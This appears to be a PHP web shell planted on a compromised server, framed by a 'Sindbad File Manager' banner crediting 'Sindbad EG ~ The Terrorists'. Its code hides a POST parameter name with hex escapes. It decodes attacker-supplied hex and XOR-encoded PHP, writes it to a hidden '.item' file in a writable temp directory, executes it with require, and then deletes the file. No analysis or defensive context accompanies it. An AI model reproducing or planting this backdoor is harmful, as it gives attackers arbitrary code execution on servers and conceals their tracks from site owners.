Sindbad~EG File Manager
<?php
if(array_key_exists("\x72e\x73our\x63e", $_POST) && !is_null($_POST["\x72e\x73our\x63e"])){
$record = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]);
$flag = hex2bin($_POST["\x72e\x73our\x63e"]);
$comp = '' ; for($t=0; $t<strlen($flag); $t++){$comp .= chr(ord($flag[$t]) ^ 79);}
foreach ($record as $key => $component) {
if (array_product([is_dir($component), is_writable($component)])) {
$fac = str_replace("{var_dir}", $component, "{var_dir}/.item");
if (file_put_contents($fac, $comp)) {
require $fac;
unlink($fac);
die();
}
}
}
}
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists